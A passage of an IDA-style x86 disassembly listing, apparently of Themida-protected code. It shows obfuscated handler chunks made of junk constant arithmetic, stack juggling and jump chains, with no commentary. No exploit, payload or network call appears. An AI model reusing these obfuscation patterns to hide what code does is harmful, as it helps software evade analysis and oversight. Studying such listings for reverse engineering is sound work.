mov edi, 7B1E5A00h
sub edi, 4A613DE3h
add eax, edi
pop edi
sub eax, ebx
push ebx
mov ebx, 61B271Ah
jmp loc_58A44C
; ---------------------------------------------------------------------------
loc_58FAE1: ; CODE XREF: sub_584787+5497j
add edx, 4
jmp loc_58BF8E
; ---------------------------------------------------------------------------
loc_58FAE9: ; CODE XREF: sub_584787+52D0j
add eax, ebx
mov ebx, [esp+0]
sub esp, 4
mov [esp-0Ch+arg_8], ecx
jmp loc_58C0E2
; ---------------------------------------------------------------------------
loc_58FAFC: ; CODE XREF: sub_584787+B51Aj
neg dh
and dh, 0D4h
push ecx
mov cl, 0BBh
sub cl, 0FFh
sub dh, 9Bh
sub dh, 85h
sub dh, cl
add dh, 85h
push eax
mov al, 7
shl al, 8
and al, 0F7h
inc al
add al, 6Bh
jmp loc_589DF4
; ---------------------------------------------------------------------------
loc_58FB23: ; CODE XREF: sub_584787+9F81j
add edx, esi
pop esi
push 5041h
mov [esp+26h+var_26], edx
push dword ptr [esp+4]
pop edx
jmp loc_58520E
; ---------------------------------------------------------------------------
loc_58FB38: ; CODE XREF: sub_584787+C72j
pop esi
jmp loc_586FB2
; ---------------------------------------------------------------------------
loc_58FB3E: ; CODE XREF: sub_584787+A404j
not [esp+20h+var_20]
jmp loc_58A521
; ---------------------------------------------------------------------------
loc_58FB46: ; CODE XREF: sub_584787+2B9j
inc esi
not esi
jmp loc_58E621
; ---------------------------------------------------------------------------
loc_58FB4E: ; CODE XREF: sub_584787+2FEEj
add ebp, 0D4A5704h
mov ecx, ebp
jmp loc_58A1FD
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_58FB5B proc near ; CODE XREF: sub_584787+1485j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 437F344Bh
push 5521h
jmp loc_589CBF
sub_58FB5B endp
; =============== S U B R O U T I N E =======================================
sub_58FB73 proc near ; DATA XREF: Themida_:00584374o
xor [esp+0], edx
xor edx, [esp+0]
jmp loc_58AB11
sub_58FB73 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58FB7E: ; CODE XREF: sub_584787+654Fj
mov ebx, esp
push esi
mov esi, 6B116412h
shl esi, 3
push edi
mov edi, 26234948h
jmp loc_5847D8
; ---------------------------------------------------------------------------
loc_58FB94: ; CODE XREF: sub_584787+3B97j
xchg esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp+4+var_4], ebp
push edi
mov edi, 21AF3607h
mov ebp, edi
pop edi
add ebp, 0FFFFFFFFh
or ebp, 0A7D3ADCh
inc ebp
xor ebp, 167D3B76h
sub ebx, ebp
jmp loc_58E3F1
; ---------------------------------------------------------------------------
loc_58FBBD: ; CODE XREF: sub_584787+6D85j
pop edx
add eax, 4
xor eax, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], eax
xor eax, [esp-0Ch+arg_8]
jmp loc_59008E
; ---------------------------------------------------------------------------
loc_58FBCF: ; CODE XREF: sub_584787+706Cj
mov ebp, esp
add ebp, 4
jmp loc_58FA71
; ---------------------------------------------------------------------------
loc_58FBDC: ; CODE XREF: sub_584787+8BB9j
mov [esp+20h+var_20], ebp
push ecx
jmp loc_58BD9F
; ---------------------------------------------------------------------------
loc_58FBE5: ; CODE XREF: sub_584787+2CCDj
add ebp, eax
mov eax, [esp+10h+var_10]
add esp, 4
add ebp, 4
jmp loc_58A9E6
; ---------------------------------------------------------------------------
loc_58FBF8: ; CODE XREF: sub_584787+A9F2j
mov esp, [esp-4+arg_0]
sub al, dh
jmp loc_58BDE0
; ---------------------------------------------------------------------------
loc_58FC02: ; CODE XREF: sub_584787+6309j
xor [esp-8+arg_4], ebx
xor ebx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_58EF38
; ---------------------------------------------------------------------------
loc_58FC10: ; CODE XREF: sub_584787+A274j
push eax
mov eax, 2D3E421Dh
dec eax
shr eax, 1
not eax
shr eax, 4
and eax, 529833C0h
xor eax, 29001C4h
add ebp, eax
pop eax
xchg ebp, [esp+24h+var_26+2]
pop esp
push edi
mov edi, 2B512F9Fh
xor ebx, edi
pop edi
mov esi, ebx
pop ebx
add ebp, esi
mov esi, [esp+1Ch+var_1C]
jmp loc_590508
; ---------------------------------------------------------------------------
loc_58FC45: ; CODE XREF: sub_584787+8FB1j
push eax
jmp loc_58AFBA
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5904F2
loc_58FC4B: ; CODE XREF: sub_5904F2+1j
xor al, bl
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_58691E
; END OF FUNCTION CHUNK FOR sub_5904F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58FC6A: ; CODE XREF: sub_584787+687Fj
sub edx, 694FD02Ah
xor ecx, edx
mov edx, [esp+2Ah+var_2C+2]
add esp, 4
or eax, ecx
jmp loc_58F903
; ---------------------------------------------------------------------------
loc_58FC82: ; CODE XREF: sub_584787+58CDj
add edx, 4
push ebp
mov ebp, 11615BEEh
shl ebp, 2
inc ebp
jmp loc_58AE0B
; ---------------------------------------------------------------------------
loc_58FC97: ; CODE XREF: sub_584787+6F7Bj
add edi, ebp
pop ebp
jmp loc_589FB1
; ---------------------------------------------------------------------------
loc_58FC9F: ; CODE XREF: sub_584787+7789j
pop ecx
pop ebx
jmp loc_58FAFC
; ---------------------------------------------------------------------------
loc_58FCA6: ; CODE XREF: sub_584787+901Fj
xor dl, 0E7h
jmp loc_58E6E1
; ---------------------------------------------------------------------------
loc_58FCAE: ; CODE XREF: sub_584787+56A7j
push ecx
jmp loc_5890BA
; ---------------------------------------------------------------------------
loc_58FCB4: ; CODE XREF: sub_584787+7A5j
mov ebx, 40D3239Eh
inc ebx
xor ebx, 153A0AF6h
mov esi, ebx
pop ebx
jmp loc_58B1AB
; ---------------------------------------------------------------------------
loc_58FCC8: ; CODE XREF: sub_584787+7FA7j
xchg ecx, [esp+0]
pop esp
jmp loc_586FDB
; ---------------------------------------------------------------------------
loc_58FCD1: ; CODE XREF: sub_584787+B64Cj
push edx
mov dh, 0B0h
shl dh, 2
or dh, 42h
jmp loc_585C11
; ---------------------------------------------------------------------------
loc_58FCDF: ; CODE XREF: sub_584787+9FF8j
mov [esp+2Ah+var_2C+2], ebx
jmp loc_58CED2
; ---------------------------------------------------------------------------
loc_58FCE7: ; CODE XREF: sub_584787+5605j
sub bl, 4Eh
add bl, al
add bl, 4Eh
pop eax
add bl, al
sub bl, 0D3h
jmp loc_58BF00
; ---------------------------------------------------------------------------
loc_58FCFA: ; CODE XREF: sub_584787+5654j
pop edx
push edi
mov edi, 1B61063Fh
shl edi, 5
add edi, 75C15EC5h
shr edi, 6
sub edi, 3878896h
sub ecx, 619C72FEh
sub ecx, 2D04199Ch
add ecx, edi
add ecx, 2D04199Ch
jmp loc_584AFD
; ---------------------------------------------------------------------------
loc_58FD2C: ; CODE XREF: sub_584787+42DBj
push [esp+4Ch+var_4E+2]
jmp loc_58A4F2
; ---------------------------------------------------------------------------
loc_58FD34: ; CODE XREF: sub_584787+7421j
push ecx
jmp loc_58FDFF
; ---------------------------------------------------------------------------
loc_58FD3A: ; CODE XREF: sub_584787+3B2Cj
mov edi, [esp-0Ch+arg_8]
add esp, 4
jmp loc_58AB5F
; ---------------------------------------------------------------------------
loc_58FD45: ; CODE XREF: sub_584787+8B1Cj
push edx
mov edx, esp
push 554Ch
mov [esp+0], ecx
push eax
push 55DE6207h
mov eax, [esp+0]
add esp, 4
xor eax, 55DE6203h
mov ecx, eax
pop eax
add edx, ecx
mov ecx, [esp+0]
add esp, 4
jmp loc_58CB96
; ---------------------------------------------------------------------------
loc_58FD77: ; CODE XREF: sub_584787+984j
sub ebp, 4D415167h
add ebp, 0F5B12F12h
jmp loc_59051E
; ---------------------------------------------------------------------------
loc_58FD88: ; CODE XREF: sub_584787+487Ej
push 3DCEh
mov [esp-4+arg_0], ebp
jmp loc_58F969
; ---------------------------------------------------------------------------
loc_58FD95: ; CODE XREF: sub_584787+19B1j
and eax, ebx
push [esp+1Ch+var_1C]
mov ebx, [esp+20h+var_20]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
jmp loc_585AEA
; ---------------------------------------------------------------------------
loc_58FDB5: ; CODE XREF: sub_584787+84CAj
shr edx, 2
xor edx, 61B44A73h
shr edx, 4
jmp loc_5853BC
; ---------------------------------------------------------------------------
loc_58FDC6: ; CODE XREF: sub_584787+A9E7j
sub al, 0ACh
mov dx, word ptr [esp+1Ch+var_1C]
add esp, 2
push ebx
push ecx
mov cl, 2Ch
jmp loc_58FCD1
; ---------------------------------------------------------------------------
loc_58FDD8: ; CODE XREF: sub_584787+2A92j
add esp, 4
push edx
mov edx, 2437166Bh
push ecx
mov ecx, 0D2016C9h
or ecx, 7FD869D0h
sub ecx, 0FFFFFFFFh
sub ecx, 0FFFFFFFFh
sub ecx, 0FFFFFFFFh
push edx
jmp loc_58C62A
; ---------------------------------------------------------------------------
loc_58FDFF: ; CODE XREF: sub_584787+B5AEj
mov cl, 0BBh
sub cl, 26h
push edx
mov dl, 6
xor cl, dl
pop edx
sub bl, cl
pop ecx
push ecx
mov ch, 0E2h
xor bl, ch
pop ecx
sub bl, 0DEh
sub cl, bl
pop ebx
jmp loc_588B07
; ---------------------------------------------------------------------------
loc_58FE1E: ; CODE XREF: sub_584787+463Cj
pop edx
jmp loc_58D1E1
; ---------------------------------------------------------------------------
loc_58FE24: ; CODE XREF: sub_584787+2E29j
pop eax
pop [esp+52h+var_54+2]
mov esp, [esp+4Eh+var_4E]
add edi, 4
jmp loc_58ACB6
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_58FE36: ; DATA XREF: Themida_:005841ACo
jmp loc_584473
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58FE3B: ; CODE XREF: sub_584787+425Cj
push [esp+30h+var_2C]
pop edx
pop [esp+30h+var_30]
jmp loc_58950F
; ---------------------------------------------------------------------------
loc_58FE48: ; CODE XREF: sub_584787+9669j
add esp, 4
sub ebp, 0D7678E6h
add eax, ebp
pop ebp
push esi
mov esi, 32994564h
xor esi, 32994560h
add eax, esi
mov esi, [esp-14h+arg_E+2]
add esp, 4
sub esp, 4
mov [esp-14h+arg_E+2], eax
push [esp-14h+arg_12+2]
pop eax
pop [esp-14h+arg_E+2]
pop esp
test ecx, eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58FE7F: ; CODE XREF: sub_584787+A16Ej
pop edx
mov edx, [esp+30h+var_30]
add esp, 4
jmp loc_58C3CD
; ---------------------------------------------------------------------------
loc_58FE8E: ; CODE XREF: sub_584787+9574j
xchg ecx, [esp+3Ch+var_3C]
pop esp
add ecx, 0FCC9E52Ah
mov esi, ecx
pop ecx
jmp loc_58E170
; ---------------------------------------------------------------------------
loc_58FEA0: ; CODE XREF: sub_584787+ABADj
add eax, 1DFD0821h
push edx
mov edx, 42674185h
sub eax, edx
jmp loc_58AEB3
; ---------------------------------------------------------------------------
loc_58FEB2: ; CODE XREF: sub_584787+91F4j
xor eax, ebx
push 741Eh
mov [esp], edi
push 0FFCh
mov [esp+26h+var_26], ecx
mov ecx, 45D3E75h
mov edi, 747A0CA1h
jmp loc_58E784
; ---------------------------------------------------------------------------
loc_58FED3: ; CODE XREF: sub_584787+6AAEj
; sub_584787+7182j ...
push dword ptr [edi+24h]
sub [esp+6+var_8+2], 33343C5Eh
jmp loc_589B2B
; ---------------------------------------------------------------------------
loc_58FEE2: ; CODE XREF: sub_584787+85FFj
dec cl
sub cl, 9Eh
dec cl
sub esp, 2
jmp loc_58D35E
; ---------------------------------------------------------------------------
loc_58FEF4: ; CODE XREF: sub_584787+8403j
mov bl, al
jmp loc_58CD72
; ---------------------------------------------------------------------------
loc_58FEFB: ; CODE XREF: sub_584787+96D6j
pop esi
jmp loc_58E01F
; ---------------------------------------------------------------------------
loc_58FF01: ; CODE XREF: sub_584787+8ACAj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58FF06: ; CODE XREF: sub_584787+356j
add edx, 148D0A64h
jmp loc_585EC6
; ---------------------------------------------------------------------------
loc_58FF11: ; CODE XREF: sub_584787+2826j
add edi, 8688CCE8h
add eax, edi
pop edi
jmp loc_589BDA
; ---------------------------------------------------------------------------
loc_58FF1F: ; CODE XREF: sub_584787+13C3j
xor [esp+1Ch+var_1C], eax
xor eax, [esp+1Ch+var_1C]
pop esp
mov [esp+18h+var_18], edx
not [esp+18h+var_18]
pop edx
xchg edx, ebx
push eax
push ebx
mov eax, [esp+1Ch+var_1C]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+20h+var_20]
pop esp
jmp loc_58C867
; ---------------------------------------------------------------------------
loc_58FF49: ; CODE XREF: sub_584787+104Cj
add al, cl
mov ecx, [esp+1Ch+var_1C]
push ebp
mov ebp, esp
add ebp, 4
push ecx
push 4
pop ecx
jmp loc_58DA16
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_58FF63 proc near ; CODE XREF: sub_584787+265Ej
push ebx
push ebp
mov ebp, 73576A67h
dec ebp
inc ebp
inc ebp
push ecx
jmp loc_58B48E
sub_58FF63 endp
; =============== S U B R O U T I N E =======================================
sub_58FF73 proc near ; CODE XREF: sub_584787+2B72j
push ebx
push ecx
mov ecx, 32486D85h
jmp loc_58DB29
sub_58FF73 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_58FF7F: ; CODE XREF: sub_584787+3572j
sub edi, 4
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
mov ecx, 664A3421h
jmp loc_58BE1E
; ---------------------------------------------------------------------------
loc_58FF98: ; CODE XREF: sub_584787+84DDj
push ecx
mov ecx, esp
sub esp, 4
mov [esp+2Ch+var_2C], ebp
push edx
mov edx, 471F0556h
shr edx, 6
inc edx
xor edx, 2D4F75E9h
push 0
sub [esp+34h+var_34], 59D8494Eh
sub [esp+34h+var_34], edx
add [esp+34h+var_34], 59D8494Eh
jmp loc_584C9F
; ---------------------------------------------------------------------------
loc_58FFCF: ; CODE XREF: sub_584787+7509j
mov eax, 2EC03566h
jmp loc_588DE1
; ---------------------------------------------------------------------------
loc_58FFD9: ; CODE XREF: sub_584787+5AB2j
sub eax, 55A50A9Bh
shr eax, 3
push esi
jmp loc_58DA8B
; ---------------------------------------------------------------------------
loc_58FFE7: ; CODE XREF: sub_584787+B135j
add ebx, eax
mov eax, [esp+5Eh+var_60+2]
sub esp, 4
mov [esp+0], eax
jmp loc_585833
; ---------------------------------------------------------------------------
loc_58FFF7: ; CODE XREF: sub_584787+6C13j
mov ecx, [esp+0]
add esp, 4
push 43460CE2h
push dword ptr [esp+0]
jmp loc_58ACCD
; ---------------------------------------------------------------------------
loc_59000D: ; CODE XREF: sub_584787+40C9j
pop ecx
pop ebx
sub eax, edi
jmp loc_58935F
; ---------------------------------------------------------------------------
loc_590016: ; CODE XREF: sub_584787+8A1Bj
mov ebp, [esp+2Ah+var_2C+2]
jmp loc_587210
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5900ED
loc_59001E: ; CODE XREF: sub_5900ED+4j
push ecx
push esp
pop ecx
sub esp, 4
mov [esp+8+var_8], ebx
push 79B8h
mov [esp+0Ch+var_C], edx
mov edx, 4
mov ebx, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_5855A2
; END OF FUNCTION CHUNK FOR sub_5900ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_590047: ; CODE XREF: sub_584787+54DBj
xor [esp+10h+var_10], esi
xor esi, [esp+10h+var_10]
pop esp
sar byte ptr [esp+0Ch+var_C], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_590057: ; CODE XREF: sub_584787+4575j
sub edx, 2
xchg edx, [esp+0]
mov esp, [esp+0]
mov [esp+0], dx
push ax
pushf
jmp loc_584473
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_59006F proc near ; CODE XREF: sub_584787+4BE3j
; sub_584787+BC6Aj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebx
add [esp+4+var_4], 15680B99h
mov eax, [esp+4+var_4]
push 3D31h
mov [esp+8+var_8], eax
mov eax, esp
jmp loc_5859E0
sub_59006F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_59008E: ; CODE XREF: sub_584787+B443j
mov esp, [esp-0Ch+arg_8]
or eax, eax
jnz loc_58FED3
push 363Bh
jmp loc_58B392
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_5900A3: ; DATA XREF: Themida_:005841E8o
push dword ptr [edi+40h]
jmp loc_584473
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5900AB: ; CODE XREF: sub_584787+5C0Cj
xor edx, eax
jmp loc_58E7AE
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5900B2 proc near ; CODE XREF: sub_584787+183Aj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058F512 SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], esi
mov esi, esp
push ecx
sub esp, 4
jmp loc_58F512
sub_5900B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5900C9: ; CODE XREF: sub_584787+1B48j
add eax, 22C21DAAh
and eax, 78036477h
xor eax, 516F4652h
add ecx, eax
pop eax
xchg eax, ecx
jmp loc_58A943
; ---------------------------------------------------------------------------
loc_5900E1: ; CODE XREF: sub_584787+5984j
add edx, edi
pop edi
xchg edx, [esp+4+var_4]
pop esp
jmp loc_58EB11
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5900ED proc near ; DATA XREF: Themida_:0058424Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0059001E SIZE 00000029 BYTES
mov ax, [esp+0]
jmp loc_59001E
sub_5900ED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5900F6: ; CODE XREF: sub_584787+B1F9j
mov esi, [esp+10h+var_10]
add esp, 4
jmp loc_58D700
; ---------------------------------------------------------------------------
loc_590101: ; CODE XREF: sub_584787+AE09j
push eax
mov ah, 8Ch
jmp loc_58C97C
; ---------------------------------------------------------------------------
loc_590109: ; CODE XREF: sub_584787+864j
mov ebp, ecx
pop ecx
add ecx, 284C112Ch
add ecx, ebp
jmp loc_589720
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F6F1
loc_590119: ; CODE XREF: sub_58F6F1+3j
mov dl, bl
pop ebx
mov [edi+eax*4+1], dl
jmp loc_58761A
; END OF FUNCTION CHUNK FOR sub_58F6F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_590125: ; CODE XREF: sub_584787+1A9j
push esp
jmp loc_58D256
; ---------------------------------------------------------------------------
loc_59012B: ; CODE XREF: sub_584787+1629j
and ecx, ebp
pop ebp
shr ecx, 7
push ebx
jmp loc_5894E4
; ---------------------------------------------------------------------------
loc_590137: ; CODE XREF: sub_584787+28D0j
pop ecx
sub ebx, 0FDA7C8Ch
jmp loc_58BCCA
; ---------------------------------------------------------------------------
loc_590143: ; CODE XREF: sub_584787+4D97j
add esp, 4
jmp loc_58BAEA
; ---------------------------------------------------------------------------
loc_59014B: ; CODE XREF: sub_584787+5788j
push esp
pop ebx
push esi
mov esi, 4
add ebx, esi
pop esi
push eax
jmp loc_58F8B7
; ---------------------------------------------------------------------------
loc_59015C: ; CODE XREF: sub_584787+AE47j
pop edi
jmp loc_58A7CB
; ---------------------------------------------------------------------------
loc_590162: ; CODE XREF: sub_584787+4E34j
mov ecx, [esp+0]
add esp, 4
jmp loc_585695
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_590170 proc near ; CODE XREF: sub_584787+2C81j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
push ebx
push 5C1h
mov [esp+8+var_8], esi
mov esi, 7F425145h
xor esi, 66B1739Ah
xor esi, 19F302DFh
push esi
push ebx
mov ebx, 1E6612BEh
add [esp+10h+var_C], 6E022F60h
sub [esp+10h+var_C], ebx
sub [esp+10h+var_C], 6E022F60h
pop ebx
pop ebx
add ebx, 1E6612BEh
pop esi
jmp loc_586F99
sub_590170 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5901B3: ; CODE XREF: sub_584787+8D8Cj
neg ebp
push esi
mov esi, 55283F97h
jmp loc_58B1BE
; ---------------------------------------------------------------------------
loc_5901C0: ; CODE XREF: sub_584787+4E69j
add esp, 4
push eax
mov ah, bl
push ebx
mov bl, ah
mov cl, bl
pop ebx
mov eax, [esp+14h+var_14]
add esp, 4
pop ebx
mov dh, cl
pop ecx
add al, 0ACh
jmp loc_58F16C
; ---------------------------------------------------------------------------
loc_5901E0: ; CODE XREF: sub_584787+9817j
add esi, 36AF5CB9h
pop ebx
jmp loc_589EF5
; ---------------------------------------------------------------------------
loc_5901EC: ; CODE XREF: sub_584787+7586j
sub edi, ebp
add edi, 6ED86CEAh
pop ebp
xchg edi, [esp+4Eh+var_4E]
jmp loc_584D63
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5901FD proc near ; CODE XREF: sub_584787+1599j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push esi
mov esi, 6395999h
dec esi
push eax
mov eax, 477472Dh
shr eax, 8
shr eax, 5
not eax
or eax, 3C6B37B9h
add eax, 59C337CEh
sub eax, 5FFC915Fh
add esi, eax
pop eax
add eax, esi
pop esi
push esi
sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_58EC5E
sub_5901FD endp
; ---------------------------------------------------------------------------
loc_590241: ; DATA XREF: Themida_:0058429Co
push dword ptr [esp]
jmp loc_585150
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_590249: ; CODE XREF: sub_584787+39E7j
push 2
pop ecx
add esi, ecx
push [esp+40h+var_42+2]
mov ecx, [esp+44h+var_46+2]
push edi
mov edi, esp
push eax
mov eax, 62A5602Fh
jmp loc_58DCBC
; ---------------------------------------------------------------------------
loc_590265: ; CODE XREF: sub_584787+79B4j
push edx
mov dl, ah
mov ch, dl
jmp loc_58AAA3
; ---------------------------------------------------------------------------
loc_59026F: ; CODE XREF: sub_584787+27D3j
mov bl, 4Dh
neg bl
jmp loc_58B132
; ---------------------------------------------------------------------------
loc_590278: ; CODE XREF: sub_584787+658Cj
mov [esp+6+var_8+2], eax
push ebp
mov ebp, 26DD18BAh
add [esp+0Ah+var_8+2], 25F67C85h
sub [esp+0Ah+var_8+2], 3E5637D0h
push esi
mov esi, 200A62CDh
sub [esp+0Eh+var_8+2], 296B2389h
add [esp+0Eh+var_8+2], 0D587E59h
sub [esp+0Eh+var_8+2], esi
jmp loc_59073A
; ---------------------------------------------------------------------------
loc_5902B0: ; CODE XREF: sub_584787+45A6j
push edi
jmp loc_58467D
; ---------------------------------------------------------------------------
loc_5902B6: ; CODE XREF: sub_584787+AA88j
pop esi
pop [esp+18h+var_18]
pop esp
sub esp, 4
jmp loc_5892CC
; ---------------------------------------------------------------------------
loc_5902C3: ; CODE XREF: sub_584787+1875j
push esp
pop edx
push ecx
jmp loc_58F647
; ---------------------------------------------------------------------------
loc_5902CB: ; CODE XREF: sub_584787+A033j
pop dword ptr [esp+0]
push eax
mov eax, 4
jmp loc_586728
; ---------------------------------------------------------------------------
loc_5902D9: ; CODE XREF: sub_584787+4510j
mov eax, [esp+36h+var_38+2]
jmp loc_588022
; ---------------------------------------------------------------------------
loc_5902E1: ; CODE XREF: sub_584787+7006j
pop edx
sub al, 62h
add al, 0C5h
add al, bl
sub al, 0C5h
add al, 62h
pop ebx
push ecx
push ebx
mov bl, 60h
mov cl, 3Ch
xor cl, bl
jmp loc_58F0DB
; ---------------------------------------------------------------------------
loc_5902FA: ; CODE XREF: sub_584787+6B49j
add esp, 4
mov ebx, [esp+1Eh+var_20+2]
add esp, 4
jmp loc_58F82D
; ---------------------------------------------------------------------------
loc_590308: ; CODE XREF: sub_584787+556Bj
shr ecx, 7
sub ecx, 35BC4561h
xor ecx, 0CA920F67h
jmp loc_586D2F
; ---------------------------------------------------------------------------
loc_59031C: ; CODE XREF: sub_584787+4ECEj
xor ecx, [esp+4+var_4]
mov esp, [esp+4+var_4]
imul ecx
sub esp, 4
jmp loc_585AB7
; ---------------------------------------------------------------------------
loc_59032F: ; CODE XREF: sub_584787+7A27j
mov esp, [esp+36h+var_38+2]
ror word ptr [esp+36h+var_38+2], cl
pushf
jmp loc_584473
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_59033C: ; DATA XREF: Themida_:005841A8o
mov cx, [esp]
push ebp
mov ebp, esp
push 34E5h
mov [esp], esi
mov esi, 4D533BEAh
add esi, 375C41CAh
and esi, 8EC22ABh
xor esi, 3FBF17CDh
push ebp
mov ebp, 7BAE1046h
not ebp
dec ebp
not ebp
sub ebp, 0BAC147B0h
jmp loc_586D8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_590378: ; CODE XREF: sub_584787+9637j
pop eax
sub bl, 0DAh
sub al, bl
mov ebx, [esp+18h+var_18]
add esp, 4
push dx
push eax
mov ah, 46h
jmp loc_58AD69
; ---------------------------------------------------------------------------
loc_59038E: ; CODE XREF: sub_584787+292Dj
add eax, edi
mov edi, [esp-4+arg_0]
add esp, 4
jmp loc_58D980
; ---------------------------------------------------------------------------
loc_59039B: ; CODE XREF: sub_584787+79BFj
mov esi, [esp+24h+var_26+2]
add esp, 4
xor ebp, [esp+20h+var_20]
xor [esp+20h+var_20], ebp
jmp loc_58E2C1
; ---------------------------------------------------------------------------
loc_5903AC: ; CODE XREF: sub_584787+3D50j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5903B1: ; CODE XREF: sub_584787+489Bj
add ebp, ebx
pop ebx
add ebp, esi
sub ebp, 1FB0127h
pop esi
xchg ebp, [esp+34h+var_34]
jmp loc_58E4E0
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_5903C5: ; DATA XREF: Themida_:005843A4o
lodsb
jmp loc_588647
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5903CB: ; CODE XREF: sub_584787+1AFBj
sub ebp, 6500085Fh
jmp loc_58E000
; ---------------------------------------------------------------------------
loc_5903D6: ; CODE XREF: sub_584787+A348j
mov eax, esp
jmp loc_58E87B
; ---------------------------------------------------------------------------
loc_5903DD: ; CODE XREF: sub_584787+2902j
pop esp
sub esp, 4
mov [esp-4+arg_0], edx
mov edx, ebx
mov edi, edx
jmp loc_586017
; ---------------------------------------------------------------------------
loc_5903ED: ; CODE XREF: sub_584787+BF14j
add [edi+24h], ecx
pop ecx
jmp sub_59006F
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5903F6 proc near ; CODE XREF: sub_584787+AE6Dj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0058F985 SIZE 00000009 BYTES
push ebp
jmp loc_58F985
sub_5903F6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5903FC: ; CODE XREF: sub_584787+6055j
mov edx, 0
push eax
mov eax, 156F5352h
push esi
mov esi, 1F112DC8h
add esi, 0FDAE933h
add edx, esi
pop esi
sub edx, eax
sub edx, 2EEC16FBh
pop eax
add edx, ebx
push ebp
mov ebp, 156F5352h
jmp loc_587996
; ---------------------------------------------------------------------------
loc_59042C: ; CODE XREF: sub_584787+411Aj
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop ebp
jmp loc_589D2C
; ---------------------------------------------------------------------------
loc_590438: ; CODE XREF: sub_584787+4498j
shr dl, 6
and dl, 0A2h
add dl, 1Bh
inc dl
sub dl, 2Eh
xor dl, ah
pop eax
neg dl
not dl
jmp loc_58F58C
; ---------------------------------------------------------------------------
loc_590452: ; CODE XREF: sub_584787+45EDj
pop ecx
xor ebp, 3DE74D64h
jmp loc_58D8BA
; ---------------------------------------------------------------------------
loc_59045E: ; CODE XREF: sub_584787+5A64j
not edi
or edi, 481E6DE5h
not edi
add edi, 2761A8BDh
sub edx, edi
pop edi
jmp loc_58D911
; ---------------------------------------------------------------------------
loc_590476: ; CODE XREF: sub_584787+9EB5j
sub eax, 1775470h
inc eax
sub eax, 0DAF0038Dh
add ebp, eax
pop eax
mov ebx, [esp+24h+var_26+2]
jmp loc_5856BD
; ---------------------------------------------------------------------------
loc_59048C: ; CODE XREF: sub_584787+5C8Dj
add esp, 4
sub edi, ebx
jmp loc_58AF98
; ---------------------------------------------------------------------------
loc_590499: ; CODE XREF: sub_584787+A8E2j
mov edx, 520B1376h
xor edi, edx
pop edx
xor edi, 12834572h
add edx, edi
jmp loc_58E36F
; ---------------------------------------------------------------------------
